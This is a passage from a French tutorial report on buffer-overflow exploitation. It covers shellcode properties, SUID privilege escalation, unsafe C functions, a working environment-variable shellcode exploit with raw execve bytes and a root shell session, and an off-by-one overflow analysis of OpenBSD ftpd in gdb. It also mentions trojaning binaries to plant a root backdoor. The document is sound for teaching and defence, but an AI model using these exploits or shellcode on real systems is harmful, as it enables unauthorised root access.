  605. cependant d’être données. Généralement les développeurs d’exploits, ne codent pas
  606. eux-mêmes les shellcodes mais les récupère depuis le Net ou dans des cas rares y
  607. apportent des modifications minimes. En effet, la plupart du temps, il suffit d’utiliser
  608. un shellocode générique. Les shellcodes dépendent de l’architecture (code assembleur
  609. différents) et du système d’exploitation (syscall différents).
  610. Il y a deux façon d’écrire des shellcodes : soit le code est écrit directement en
  611. assembleur soit il est d’abord programmé en langage C. En C, le programme source
  612. du shellcode est compilé avec l’option –static pour qu’il contienne le code des syscall
  613. appelés (celui d’execve() par exemple) plutôt que la référence à leur librairie
  614. dynamique.
  615. Plusieurs modifications sont ensuite apportées au code assembleur des shellcodes afin
  616. qu’ils respectent les propriétés suivantes :
  617. - Une taille minimale. L’écriture des shellcodes est optimisée pour que leur
  618. taille soit minimale, ceci afin qu’ils puissent être copiés même dans un
  619. petit buffer. Par exemple, dès le chapitre 2 nous avons éliminé la gestion
  620. des erreurs dans le shellcode (le test si exec fail) pour en réduire la taille.
  621. - L’absence de byte NULL. En effet, le byte NULL agissant comme un
  622. terminateur pour les strings, le shellcode est retravaillé pour contenir
  623. aucun bytes NULL. On élimine généralement facilement les bytes NULL
  624. d’une instruction assembleur par une ou plusieurs autres instructions qui
  625. produisent un résultat équivalent.
  626. - PIC. PIC signifie Position Independence Code. Le shellcode doit être
  627. « position independent ». Ceci signifie qu’il ne doit contenir aucune
  628. adresse absolue. Cela est nécessaire car l’adresse où le shellcode est injecté
  629. n’est généralement pas connue.
  630. Pour satisfaire la dernière propriété de « position independence » souvent les
  631. shellcodes se modifient eux-même. Un tel shellcode ne pourrait donc pas être exécuté
  632. dans une page qui ne possèdent pas les droits d’écriture (exemple la section .text).
  633. 18/92
  634. Une fois ces modifications effectuées, le programme assembleur du shellcode est
  635. généralement dumpé en une suite de valeurs héxadécimales pour être facilement
  636. intégré à l’exploit dans un tableau. Dans la suite de ce rapport, d’autres exemples de
  637. shellcodes, qui font d’autres actions que de simplement exécuter un shell, sont
  638. utilisés.
  639. 3.5 Programmes SUID
  640. Dans nos tests précédents, notre programme vulnérable n'était pas suid. Les
  641. programmes suid lancés par un utilisateur différent que l'owner ne font pas de core
  642. dump. Cela s'explique pour des raisons de sécurité (exemple: si le fichier shadows est
  643. chargé en mémoire par un fichier suid root, il risque de se trouver dans le core dump).
  644. De plus les programmes suid ne peuvent pas être débuggés. La raison est qu'un
  645. utilisateur ne peut obtenir le privilège d'utiliser l'appel système ptrace() sur un
  646. programme SUID.
  647. Dans ce genre de situation le hacker qui veut débugger un programme suid sur un
  648. autre ordinateur pour trouver les offsets corrects par exemple a deux solutions: en
  649. copiant (avec la commande cp ) le programme ailleurs, il va perdre son bit suid et
  650. pourra ainsi être débuggé. Si le programme n'est pas readable il ne pourra pas être
  651. copié et le hacker dans ce cas peut ré-installer sa propre version du programme.
  652. Evidemment, il se peut alors que l'option du programme qui nous permettait
  653. l'overflow interdise au programme de s'exécuter car elle nécessite obligatoirement des
  654. droits root (dans le cas d'un programme suid root). Dans ces situations et si un petit
  655. buffer et peu de NOPs nous obligent à tester beaucoup d'offsets, le hacker peut
  656. toujours, afin de trouver un offset fonctionnel, écrire un petit shell-script qui brute-
  657. force cet offset en appelant en boucle l'exploit tout en incrémentant l'offset.
  658. Généralement et particulièrement dans le cas de programmes serveurs vulnérables, il
  659. est plus efficace pour le hacker de reproduire un environnement semblable (même
  660. programme vulnérable, même libc, même compilateur, mêmes options de
  661. compilation, même système d'exploitation) chez lui afin de trouver les adresses ou
  662. offsets les plus proches pour réussir une exploitation.
  663. On comprend maintenant que la qualité de deux exploits pour un même programme
  664. vulnérable se juge au taux de réussite de chacun d'eux: c'est-à-dire leur portabilité et
  665. leur efficacité.
  666. La faille remote root deattack de sshd par exemple paraissait théorique uniquement
  667. tant le nombre de valeurs à déterminer pour l’exploiter était grand. Cependant un
  668. exploit (x2 par Teso, non-releasé encore à ce jour) qui à la fois estimait et brute-
  669. forçait certaines valeurs a pu être codé et cet exploit avait taux de réussite important.
  670. De plus quand on parle de programmes suid, on parle généralement de programmes
  671. suid root. Il faut savoir que des programmes suid mais pas ownés par root peuvent
  672. aussi amener à une escalation rapide des privilèges vers root. Prenons un overflow qui
  673. était présent dans le programme uucp qui est suid et de propriétaire uucp. Nous
  674. pouvons ainsi élevé notre uid à uucp et modifier des programmes dont l'owner est
  675. uucp. En trojanant ces programmes (exemple: uuencode/uudecode sont de owner
  676. 19/92
  677. uucp et non suid), on peut créer une backdoor root, s'ils sont appelés par root.
  678. (Exemple on envoie un mail uuencoded à root et on attend qu'il utilise la commande
  679. uudecode). Dans certains, ils n'ont même pas besoin d'être appelé directement par
  680. root, par exemple, si le programme trojan est appelé dans un crontab, dans une règle
  681. de mail sendmail.cf, etc.
  682. Dans les tests effectués avec le programme vulnérable précédent, celui-ci pour de
  683. souplesse dans le debug n’était pas suid. La question est légitime de savoir si avec le
  684. bit suid activé, le passage des droits lors de l’exploitation se fait correctement. Nous
  685. allons donc changer le propriétaire du programme vulnérable par root, lui ajouter le
  686. bit suid, puis l’exécuter depuis notre compte user et vérifier si nous obtenons les
  687. droits root.
  688. ouah@weed:~$ su
  689. Password:
  690. root@weed:~# chown root:root vuln1
  691. root@weed:~# chmod 4755 vuln1
  692. root@weed:~# exit
  693. exit
  694. ouah@weed:~$ ls -l vuln1
  695. -rwsr-xr-x 1 root root 11735 Apr 30 03:32 vuln1
  696. ouah@weed:~$ ./ex1 400
  697. Jumping to: 0xbffffa5c
  698. bash# id
  699. uid=500(ouah) gid=500(ouah) euid=0(root) groups=500(ouah)
  700. Dans la dernière ligne, la valeur du euid à 0 nous indique que nous avons bien obtenu
  701. les droits root et que toutes les commandes exécutées depuis ce shell le seront avec les
  702. privilèges root.
  703. Enfin, il faut remarquer que les dernière versions des shells bash et tcsh, quand ils
  704. sont appelés vérifient si l’uid du processus est égal à son euid et si ce n’est pas le cas,
  705. l’euid du shell est fixé à la valeur de l’uid par mesure de sécurité. Dans notre exemple,
  706. précédent le passage des privilèges ne se serait donc pas fait et l’euid serait resté à
  707. 500. En fait, il est simple de contourner cette limitation. Par exemple, en appelant un
  708. code wrapper qui fait un setuid(0) avant d’appeler le shell. Voici le code d’un tel
  709. wrapper :
  710. #include <unistd.h>
  711. main(){
  712. char *name[]={"/bin/sh",NULL};
  713. setuid(0);
  714. setgid(0);
  715. execve(name[0], name, NULL);
  716. }
  717. Donc si ce programme s’appelle /tmp/sh, il suffit de changer la fin du shellcode de
  718. /bin/sh à /tmp/sh. Dans un remote exploit, il n’est bien sûr pas possible d’avoir un
  719. petit wrapper pour le shell. Il suffit donc d’ajouter le code de la fonction setuid(0) en
  720. début de shellcode, cela prend uniquement 8 bytes:
  721. "\x33\xc0\x31\xdb"
  722. 20/92
  723. "\xb0\x17\xcd\x80"
  724. Enfin, plusieurs personnes croient que les overflows sont exploitables uniquement
  725. avec les programmes suid. C'est évidemment faux. Les overflows peuvent être aussi
  726. exploitées sur des programmes client (ex: netscape, pine) ou sur des daemons sans
  727. que ceux-ci aient besoin d'être suid. Ces dernières vulnérabilités sont encore plus
  728. dangereuses car l'attaquant n'a pas besoin de posséder un compte sur la machine qu'il
  729. attaque. (Nous verrons dans un chapitre suivant les exploitations à distance.) Certains
  730. autres programmes non-suid peuvent aussi être exploités: exemple, le programme
  731. gzip (qui n’est pas suid) possédait un overflow qui pouvait être exploité pour obtenir
  732. des droits privilégiés du fait que de nombreux serveur FTP l'utilisent pour la
  733. compression de fichiers. Un autre exemple : les cgi qui sont utilisés dans les serveurs
  734. webs. Il ne faut non plus pas oublier que des buffers overflows peuvent aussi être
  735. présents et exploités dans les librairies dynamique ou dans la libc.
  736. Remarque: notons que souvent des vulnérabilités de clients sont faussement perçues
  737. comme des vulnérabilités de serveur.
  738. 3.6 Les fonctions vulnérables
  739. Notre exemple de programme vulnérable utilisait la fonction strpcy() qui ne contrôle
  740. pas la longueur de la string copiée. D'autres fonctions peuvent aussi être utilisées de
  741. façon à ce que si la longueur des arguments n'est pas contrôlés il y ait un risque
  742. d'overflow. Voici une liste de fonctions qui peuvent faire apparaître ce genre de
  743. vulnérabilités:
  744. 1. strcat(), strcpy()
  745. 2. sprintf(), vsprintf()
  746. 3. gets()
  747. 4. la famille des fonctions scanf() (scanf(), fscanf(), sscanf(), vscanf(), vsscanf()
  748. et vfscanf()) si la longueur des données n'est pas contrôlée
  749. 5. suivant leur utilisation: realpath(), index(), getopt(), getpass(), strecpy(),
  750. streadd() et strtrns()
  751. A cela il faut ajouter que les anciennes implémentations de la fonction getwd(), qui
  752. copie le chemin d'accès absolu du répertoire de travail courant dans le buffer donné
  753. en paramètre, ne vérifiait jamais la taille du répertoire. Actuellement, il faut faire
  754. attention que le buffer donné en paramètre soit de taille au moins PATH_MAX.
  755. Les fonctions strcpy() et strcat() peuvent être utilisées de façon sécurisée si la
  756. longueur de la string source est contrôlée avec strlen() avant d’appeler la fonction ou
  757. si l’utilisateur n’a pas moyen d’influer sur la longueur. Il est toutefois déconseillé
  758. d’utiliser ces fonctions. Il n’existe par contre aucun moyen de contrôler la taille de
  759. l’entrée de la fonction gets() (cette fonction affiche d’ailleurs un message de Warning
  760. à la compilation). L’usage de cette fonction est clairement à éviter ! On lui préfère la
  761. fonction fgets(). De façon générale, il est conseillé de remplacer les fonctions strcpy()
  762. / strcat() / gets() par leur équivalent qui contrôle la taille du buffer : strncpy() / strncat
  763. / fgets().
  764. 21/92
  765. La famille des fonctions scanf() lit généralement les données sans faire de bounds
  766. checking. Une limite de longueur à copier peut néanmoins être spécifiée dans la
  767. chaîne de format grâce à l’ajout d’un tag de format.
  768. Pour les fonctions sprintf() et vsprintf(), on peut spécifier la taille comme pour la
  769. famille des fonctions scanf() via un tag de format ou en utilisant les fonctions
  770. snprintf() et vsnprintf() qui contiennent la taille de la destination comme dernier
  771. paramètre.
  772. Nous verrons aux chapitres 6 et 7, comment, si elles sont mal utilisées, la plupart de
  773. ces fonctions alternatives qui permettent de spécifier la taille maximale à copier,
  774. peuvent aussi déboucher sur un overflow. Enfin, des overflows exploitables peuvent
  775. aussi apparaître dans les boucles for ou while. Au chapitre 5, nous verrons un exemple
  776. de programme vulnérable avec une boucle.
  777. 3.7 Stack overflows sous d’autres architectures
  778. On a longtemps cru à tort que les buffers overflows sous processeur Alpha n'étaient
  779. pas exploitables. Il y avait en effet un début problèmes de taille : la pile était non-
  780. exécutable. De plus l'utilisation d'adresses 64 bits qui contiennent beaucoup de 0x00
  781. est problématique. En effet, à cette époque le système d'exploitation Unix qui utilisait
  782. ce processeur était l'OS Digital Unix. Les versions 3.x encore du système
  783. d'exploitation Digital Unix (qui s'exécutait sur processeur Alpha) possédait une pile
  784. dont les pages étaient non-exécutables et on ne connaissait pas encore de méthodes
  785. permettant de contourner cette limitation.
  786. Toutefois dès les version 4.0 de l'OS Digital Unix, la pile a été rendu exécutable
  787. (probablement pour les compilateurs JIT), ce qui a ouvert la porte aux créateurs
  788. d'exploits. Actuellement, les versions 5.0 de Tru64 ont réimplémentées leur pile non-
  789. exécutable ce qui rend une exploitation extrêmement difficile (voir le chapitre sur les
  790. return-into-libc). Tru64 n’est toutefois pas le seul OS qui support le processeurs
  791. Alpha. Les systèmes d’exploitations Linux, NetBSD et OpenBSD fonctionnent aussi
  792. sous Alpha. Le problème des 0x00 a résolu dans le shellcode en utilisant une
  793. technique d’encodage et de décodage du shellcode. Quant à l’adresse de retour 64
  794. bits, comme le processeur Alpha est little endian, il suffit de placer seulement les
  795. bytes non-nuls de l’adresse. Il ne peut toutefois rien n’y avoir après cette adresse de
  796. retour, les 0x00 nous en empêchant. De plus, le compilateur alpha fait qu’il n’est pas
  797. possible d’atteindre l’adresse de retour
  798. Pour les processeurs PA-RISC (HP-UX) et Sparc (Solaris), il faut se rappeller que
  799. contrairement aux processeurs Intel ou Alpha, leur architecture est Big Endian.
  800. Le cas du système d’exploitation HP-UX sous PA-RISC est assez particulier. Les
  801. processeurs PA-RISC n'ont aucune implémentation hardware de la pile. HP-UX a
  802. choisi une pile qui croît des adresses basses vers les adresses hautes (c'est-à-dire dans
  803. le sens inverse des processeurs Intel x86 et de la majorité des autres systèmes). Il est
  804. ainsi possible d’écraser la valeur des retour des fonctions library! Voyons l’exemple
  805. qui suit :
  806. #include <stdio.h>
  807. 22/92
  808. main (int argc, char *argv[])
  809. {
  810. char buffer[256];
  811. if (argc > 1)
  812. strcpy(buffer,argv[1]);
  813. exit(1);
  814. }
  815. Le programme ci-dessus n’est par exemple pas exploitable sous architecture Intel x86
  816. à cause du exit(1) final. En effet, la présence du exit() fera le programme s’arrêter
  817. avant même qu’il n’ait pu retourner de main(). Sous HP-UX, ce programme peut être
  818. exploité dès le retour de la fonction strcpy() en écrasant la valeur de retour de cette
  819. fonction, ce qui est possible car la pile croît vers les adresses hautes.
  820. Sous Solaris/Sparc et HP-UX/PA-RISC, on fait la distinction entre leaf() fonctions et
  821. non-leaf() fonctions. Les fonctions leaf() n'appellent aucune autre fonction dans leur
  822. corps par opposition aux non-leaf() fonctions qui appellent au moins une fonction
  823. dans leur corps. Elles n'utilisent pas de stack frame mais sauvent leurs informations
  824. dans des registres. Ainsi les fonctions leaf() ne sauvent jamais d'adresse de retour
  825. dans la pile comme aucune autre fonction ne sera appellée. Les fonctions non-leaf(),
  826. elles, comme elles appellent toujours au moins une fonction dans leur corps sauve
  827. toujours l'adresse de retour dans la pile. La différence fait qu'il nous est impossible
  828. d'exploiter un overflow qui a lieu à l'intérieur d'une leaf fonction.
  829. 23/92
  830. 4. Variables d’environnement
  831. « An enemy will overrun the
  832. land; he will pull down you
  833. strongholds and plunder your
  834. frotresses”, Amos 3:11 (NIV)
  835. Dans notre exploit précédent on s’arrangeait pour avoir un payload composé de
  836. plusieurs NOP, de notre shellcode puis de la fake adresse de retour. Cette
  837. configurations nous permettait d’être sur qu’on écrasait uniquement le strict
  838. nécessaire pour notre exploitation. Par exemple, aucune autre case mémoire n’était
  839. écrasé après l’adresse de retour. On pouvait le faire ainsi car notre buffer vulnérable
  840. était beaucoup plus grand que la place requise pour le shellcode. Qu’en est-il
  841. maintenant avec un buffer beaucoup plus petit? On doit diminuer le nombre de NOP
  842. et ainsi notre offset doit être beaucoup plus précis. Et si maintenant notre buffer
  843. vulnérable est plus petit que la place nécessaire pour le shellcode? On peut toujours
  844. placer le shellcode après l’adresse de retour mais là au risques d’écraser d’autres
  845. variables importantes ce qui nous pourrait nous faire échouer l’exploitation.
  846. Un autre problème encore peut advenir. Et si le programme modifiait de lui-même
  847. notre buffer pour sa propre utilisation avant qu’on ne sorte de la fonction? Dans
  848. certains cas, on peut s’arranger en modifiant le shellcode : le serveur UW imapd
  849. possédait une vulnérabilité de type stack overflow dans la commande
  850. AUTHENTICATE. Toutefois, les caractères minuscules ASCII du buffer étaient tous
  851. mis en majuscules avec la fonction toupper() avant que la faille puisse être exploitée.
  852. La solution consistait donc à retirer toutes les minuscules (il y en a peu) du shellcode.
  853. La string /bin/sh par exemple était encodée puis décodée dans le shellcode.
  854. Mais évidemment il y a plusieurs cas où la situation est inextricable. De plus, on
  855. aimerait bien avoir un exploit plus portable, c’est-à-dire qui fonctionne à tous les
  856. coups sans avoir à insérer un offset.
  857. Olaf Kirch a été une des premières personnes à mentionner que des offsets n’étaient
  858. pas nécessaires quand on exploite localement un overflow grâce à la possibilité de
  859. passer le shellcode dans une variable d’environnement et de déterminer exactement
  860. son adresse.
  861. En mettant, notre shellcode dans une variable d’environnement on s’assure que même
  862. si le buffer est modifié, le shellcode lui restera intacte. Mieux encore, grâce à
  863. l’organisation de la mémoire, il nous est possible de savoir directement où vas se
  864. trouver exactement notre shellcode. Ainsi plus de NOP et plus d’offsets.
  865. Modifions légèrement notre programme vulnérable :
  866. 1 #include <stdio.h>
  867. 2
  868. 3
  869. 4 main (int argc, char *argv[])
  870. 24/92
  871. 5 {
  872. 6 char buffer[16];
  873. 7
  874. 8 if (argc > 1)
  875. 9 strcpy(buffer,argv[1]);
  876. 10 }
  877. A la ligne 6, on a changé la taille de notre buffer de 256 à 16 bytes. Soit déjà
  878. beaucoup moins que la taille de notre premier shellcode qui était elle de 50 bytes. On
  879. va en profiter depuis ce chapitre pour introduire un shellcode équivalent mais
  880. beaucoup plus petit : 24 bytes. Il s’agit du plus petit shellcode linux/x86 execve().
  881. Pour réussir cette prouesse, les caractères de /bin/sh du shellcode sont directement
  882. pushé sur la pile et il y a aucun test dans le shellcode pour savoir si execve[] échoue
  883. (ce qui a peu d’utilité en fait).
  884. Voyons l’exploit que l’on utilise ici :
  885. 1 /*
  886. 2 * env shellcode exploit
  887. 3 * doesn't need offsets anymore
  888. 4 * for vuln2.c by OUAH (c) 2002
  889. 5 * ex2.c
  890. 6 */
  891. 7
  892. 8 #include <stdio.h>
  893. 9
  894. 10 #define BUFSIZE 40
  895. 11 #define ALIGNMENT 0
  896. 12
  897. 13 char sc[]=
  898. 14 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  899. 15 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  900. 16
  901. 17 void main()
  902. 18 {
  903. 19 char *env[2] = {sc, NULL};
  904. 20 char buf[BUFSIZE];
  905. 21 int i;
  906. 22 int *ap = (int *)(buf + ALIGNMENT);
  907. 23 int ret = 0xbffffffa - strlen(sc) -
  908. strlen("/home/ouah/vuln2");
  909. 24
  910. 25 for (i = 0; i < BUFSIZE - 4; i += 4)
  911. 26 *ap++ = ret;
  912. 27
  913. 28 printf(" env shellcode exploit, doesn't need offsets
  914. anymore by OUAH (c) 2002\n");
  915. 29 printf(" Enjoy your shell!\n");
  916. 30
  917. 31 execle("/home/ouah/vuln2", "vuln2", buf, NULL, env);
  918. 32 }
  919. Analysons notre exploit. A la ligne 31, on utilise la fonction execle() (on utilisait
  920. execl() dans notre ancien exploit) qui nous permait de faire passer au programme
  921. vulnérable un nouvel environnement. L’environnement serait ainsi composé de notre
  922. shellcode (ligne 19) suivi d’un pointeur NULL.
  923. 25/92
  924. Maintenant on peut déterminer exactement l’adresse de notre shellcode: on sait
  925. d'après la figure XX (schéma de nathan) que l'adresse de notre variable
  926. d'environnement se trouve au fond de la pile (avec execle il y a argv[0] aussi au fond
  927. de la pile) soit à (ligne 23): 0xbffffffa - strlen(sc) -
  928. strlen("/home/ouah/vuln2"); .
  929. Aux lignes 25-26 on utilise cette adresse pour écraser l’adresse de retour du
  930. programme vulnérable. Compilons, puis testons notre exploit :
  931. ouah@weed:~$ make ex2
  932. cc ex2.c -o ex2
  933. ex2.c: In function `main':
  934. ex2.c:18: warning: return type of `main' is not `int'
  935. ouah@weed:~$ ./ex2
  936. env shellcode exploit, doesn't need offsets anymore by OUAH (c) 2002
  937. Enjoy your shell!
  938. sh-2.05$
  939. L’exploit lance effectivement un shell sans que nous n’ayons à nous soucier d’un
  940. quelconque offset.
  941. env strings
  942. env strings
  943. argv strings
  944. argv strings
  945. env pointers
  946. env pointers
  947. argv pointers
  948. argv pointers
  949. argc
  950. argc
  951. user stack
  952. user stack
  953. figure 3.
  954. Il se peut quand même que le programme vulnérable utilise certaines variables
  955. d'environnement du shell. Une solution est de mettre mettre le shellcode dans une
  956. variable d’environnement grâce à la fonction putenv(). La variable est alors ajoutée à
  957. la suite des variables d’environnement existentes du shell et en calculant l’espace
  958. occupé par ces autres variables, nous pouvons déterminer l’adresse de notre shellcode.
  959. De la même manière que pour les variables d’environnement nous pouvons mettre le
  960. shellcode dans un des buffers de argv[] et sauter directement dans argv[].
  961. Cette technique d’utilisation des variables d’environnement est très efficace et sera
  962. utilisé dans plusieurs des exploits qui suivent, mais elle ne marche malheureusement
  963. 26/92
  964. qu'en local. En effet, en remote ce n'est pas nous qui lançons le programme vulnérable
  965. car nous interférons avec un serveur qui est déjà actif. Il nous est donc pas possible de
  966. recréer un environnement ou de connaître les adresses mémoires de certaines de nos
  967. variables d'environnement qui seront passées au serveur distant.
  968. 27/92
  969. 5. Off-by-one overflows
  970. “Once more unto the breach,
  971. dear friends, once more.”,
  972. Shakespear, Henry The Fifth
  973. Nous avons vu dans nos deux exemples précédents des cas où l’utilisation de la
  974. fonction strcpy() était en cause. Actuellement son usage tend à fortement diminuer et
  975. même dans le cas où l’utilisateur n’a aucune prise sur le buffer les programmeurs ont
  976. tendance à éviter cette fonction. Les codes dont des overflows sont susceptibles
  977. d’apparaître avec la fonction strcpy() sont faciles à auditer. Il y a même plusieurs
  978. logiciels qui automatisent ce genre de tâche d’audit en pointant du doigt sur les
  979. passages qui utilisent des fonctions vulnérables. Hélas pour les programmeurs, des
  980. overflows peuvent aussi apparaître dans des boucles for ou while s’il y a des erreurs
  981. avec les indices ou dans la condtion de la boucle par exemple. Ces overflows peuvent
  982. être très difficiles à détécter.
  983. Ces bugs sont appelés off-by-one bugs car contrairement aux erreurs dues aux
  984. fonctions strcpy() ou gets(), l'overflow peut avoir lieu seulement sur un ou quelques
  985. bytes. Comment exploiter de tels overflows? On voit bien que si l'overflow a lieu de 1
  986. à 4 bytes après le buffer, l'addresse de retour de la fonction ne sera pas modifiée, et
  987. qu'il s'agit bien d'autre mécanisme d'exploitation.
  988. Nous allons illustrer le cas de bugs off-by-one exploitables par un exemple réel. En
  989. décembre 2000, un bug a été découvert dans le serveur ftpd d'Openbsd 2.8 qui avait
  990. échappé à la vigilances des auditeurs d'Openbsd. Il s'agit d'un bug de type off-by-one
  991. qui amène à l’obtention d’un shell root distant si l'attaquant a accès à un répertoire
  992. writeable. Voici la portion de code, située dans le fonction ftpd_replydirname(), qui
  993. était en cause:
  994. char npath[MAXPATHLEN];
  995. int i;
  996. for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
  997. npath[i] = *name;
  998. if (*name == '"')
  999. npath[++i] = '"';
  1000. }
  1001. npath[i] = '\0';
  1002. La boucle for contruit correctement l'itération en faisant varier i de 0 à MAXPATHLEN-1
  1003. ainsi il s'agit de bien npath[MAXPATHLEN-1] qui est mis à '\0' après la boucle.
  1004. Toutefois, si la condition du if à l'intérieure est rencontrée la variable i est
  1005. incrémentée et npath[MAXPATHLEN] cette fois, est mis à '\0', soit 1 byte en dehors du
  1006. buffer. Cela peut sembler bien mince pour exploiter cette faille, car non-seulement
  1007. l'overflow a lieu sur un 1 seul byte mais en plus c'est forcément un byte '\0' qui va
  1008. overflower! Ce byte est quelques fois appelé "poisoned NUL byte', du nom de l'article
  1009. d'Olaf Kirch qui mentionne pour la première fois l'exploitabilité de ce genre de bugs.
  1010. 28/92
  1011. (le bug était présent dans la fonction libc realpath() ). Un autre article écrit par klog
  1012. et paru dans phrack 55 explicite ces techniques d'exploitation de buffer overflows qui
  1013. n'altèrent que le frame pointeur.
  1014. Pour montrer comment exploiter ce genre de bugs, nous allons créer un programme
  1015. qui contient exactement le code vulnérable du ftpd d'OpenBSD.
  1016. 1 #include <stdio.h>
  1017. 2 #define MAXPATHLEN 1024
  1018. 3
  1019. 4 func(char *name){
  1020. 5 char npath[MAXPATHLEN];
  1021. 6 int i;
  1022. 7
  1023. 8 for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++,
  1024. name++) {
  1025. 9 npath[i] = *name;
  1026. 10 if (*name == '"')
  1027. 11 npath[++i] = '"';
  1028. 12 }
  1029. 13 npath[i] = '\0';
  1030. 14 }
  1031. 15
  1032. 16 main(int argc, char *argv[])
  1033. 17 {
  1034. 18 if (argc > 1) func(argv[1]);
  1035. 19 }
  1036. Sur OpenBSD la constante MAXPATHLEN était définie dans <sys/param.h> à 1024.
  1037. Nous avons donc crée les mêmes conditions que le programme original bien que
  1038. celui-si était actif comme daemon.
  1039. On remarque que même en injectant au programme 2000 "A", le programme ne crash
  1040. pas:
  1041. ouah@weed:~$ ./vuln3 `perl -e 'print "A"x2000'`
  1042. ouah@weed:~$
  1043. Le problème apparaît quand on remplit la condition du if:
  1044. ouah@weed:~$ ./vuln3 `perl -e 'print "A"x1022'``printf "\x22"`
  1045. Segmentation fault
  1046. (0x22 est la valeur hexadécimale du caractère " )
  1047. Le programme crash car on écrit un byte "\0" en trop en dehors du buffer. D’après la
  1048. figure 2 du chapitre 3.3 nous voyons qu’il s’agit du premier byte du saved frame
  1049. pointer. Comme nous sommes en Little Endian, c’est le dernier byte de l’adresse qui
  1050. est mis à 0. Cela a pour effet de décaler vers les adresses basses la stack frame de la
  1051. fonction appelante de 0 à 252 bytes. Ainsi quand cette procédure appelante retourne,
  1052. elle prendra une adresse de retour au mauvais endroit ce qui fait crasher notre
  1053. programme. Le programme ne crash donc pas au retour de la fonction func() mais au
  1054. retour de la fonction main().
  1055. 29/92
  1056. Nous allons maintenant voir ce qui a amené le programme vulnérable à crasher.
  1057. ouah@weed:~$ gcc -g vuln3.c -o vuln3
  1058. ouah@weed:~$ gdb vuln3 -q
  1059. (gdb) l
  1060. 15 npath[i] = *name;
  1061. 16 if (*name == '"')
  1062. 17 npath[++i] = '"';
  1063. 18 }
  1064. 19 npath[i] = '\0';
  1065. 20 }
  1066. 21
  1067. 22 main(int argc, char *argv[])
  1068. 23 {
  1069. 24 if (argc > 1) func(argv[1]);
  1070. (gdb) b func
  1071. Breakpoint 1 at 0x80483ca: file vuln3.c, line 14.
  1072. (gdb) b 20
  1073. Breakpoint 2 at 0x8048440: file vuln3.c, line 20.
  1074. (gdb) r `perl -e 'print "A"x1022'``printf "\x22"`
  1075. Starting program: /home/ouah/vuln3 `perl -e 'print "A"x1022'``printf
  1076. "\x22"`
  1077. Breakpoint 1, func (name=0xbffff6e8 'A' <repeats 200 times>...) at
  1078. vuln3.c:14
  1079. 14 for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++,
  1080. name++) {
  1081. (gdb) bt
  1082. #0 func (name=0xbffff6e8 'A' <repeats 200 times>...) at vuln3.c:14
  1083. #1 0x8048465 in main (argc=2, argv=0xbffff5c4) at vuln3.c:24
  1084. #2 0x400422eb in __libc_start_main (main=0x8048448 <main>, argc=2,
  1085. ubp_av=0xbffff5c4, init=0x8048274 <_init>,
  1086. fini=0x804849c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
  1087. stack_end=0xbffff5bc) at ../sysdeps/generic/libc-start.c:129
  1088. (gdb) i f
  1089. Stack level 0, frame at 0xbffff53c:
  1090. eip = 0x80483ca in func (vuln3.c:14); saved eip 0x8048465
  1091. called by frame at 0xbffff55c
  1092. source language c.
  1093. Arglist at 0xbffff53c, args: name=0xbffff6e8 'A' <repeats 200
  1094. times>...
  1095. Locals at 0xbffff53c, Previous frame's sp is 0x0
  1096. Saved registers:
  1097. ebx at 0xbffff124, ebp at 0xbffff53c, eip at 0xbffff540
  1098. Nous plaçon un breakpoint au début et à la fin de la fonction func(). Nous lançons le
  1099. programme vulnérable de manière à altérer le dernier byte du frame pointer.La
  1100. commande backtrace (bt) nous donne l’empilement des frames sur la pile. Tandis que
  1101. la commande info frame (i f n) nous donne des information sur la frame n. Sans
  1102. indication comme ici, on donne nous les informations sur la frame 0. Nous allons ces
  1103. informations évoluer au fil du programme. A ce moment encore, le bug n’est pas
  1104. arrivé et le saved frame pointer vaut 0xbffff55c .
  1105. Continuons.
  1106. (gdb) c
  1107. Continuing.
  1108. Breakpoint 2, func (name=0xbffffae7 "") at vuln3.c:20
  1109. 30/92
  1110. 20 }
  1111. (gdb) i f
  1112. Stack level 0, frame at 0xbffff53c:
  1113. eip = 0x8048440 in func (vuln3.c:20); saved eip 0x8048465
  1114. called by frame at 0xbffff500
  1115. source language c.
  1116. Arglist at 0xbffff53c, args: name=0xbffffae7 ""
  1117. Locals at 0xbffff53c, Previous frame's sp is 0x0
  1118. Saved registers:
  1119. ebx at 0xbffff124, ebp at 0xbffff53c, eip at 0xbffff540
  1120. A ce moment, nous sommes à la fin de la fonction vulnérable et l’overflow a déjà eu
  1121. lieu. On voit subitement la valeur du saved frame pointer sauvé en pile passer de
  1122. 0xbffff55c à 0xbffff500, à cause de l’overflow.
  1123. Sortons de la fonction.
  1124. (gdb) n
  1125. main (argc=1094795585, argv=0x41414141) at vuln3.c:25
  1126. 25 }
  1127. (gdb) i f
  1128. Stack level 0, frame at 0xbffff500:
  1129. eip = 0x8048468 in main (vuln3.c:25); saved eip 0x41414141
  1130. called by frame at 0x41414141
  1131. source language c.
  1132. Arglist at 0xbffff500, args: argc=1094795585, argv=0x41414141
  1133. Locals at 0xbffff500, Previous frame's sp is 0x0
  1134. Saved registers:
  1135. ebp at 0xbffff500, eip at 0xbffff504
  1136. On se trouve maintenant à la fin de main() et le programme n’a pas encore crashé. Par
  1137. contre, l’adresse de retour de main() vaut maintenant selon l’information (sous saved
  1138. ip) 0x41414141. En effet, si le frame commence à 0xbffff500, l’adresse de retour est
  1139. alors prise en 0xbffff500+4, qui se trouve en plein milieu de notre grand buffer
  1140. vulnérable. Vérifions cela :
  1141. (gdb) x 0xbffff500+4
  1142. 0xbffff504: 0x41414141
  1143. Si l’on continue, le programme va donc segfaulter en sautant à l’adresse 0x41414141 :
  1144. (gdb) c
  1145. Continuing.
  1146. Program received signal SIGSEGV, Segmentation fault.
  1147. 0x41414141 in ?? ()
  1148. Pour notre exploit, il suffit donc remplir le buffer plusieurs addresses du shellcode,
  1149. qui lui est mis dans une variable d’environnement.
  1150. Voici l’exploit:
  1151. 1 /*
  1152. 2 * Poisoned NUL byte exploit
  1153. 3 * for vuln3.c by OUAH (c) 2002
  1154. 4 * ex3.c
  1155. 5 */
  1156. 31/92
  1157. 6
  1158. 7 #include <stdio.h>
  1159. 8
  1160. 9 #define BUFSIZE 1024
  1161. 10 #define ALIGNMENT 0
  1162. 11
  1163. 12 char sc[]=
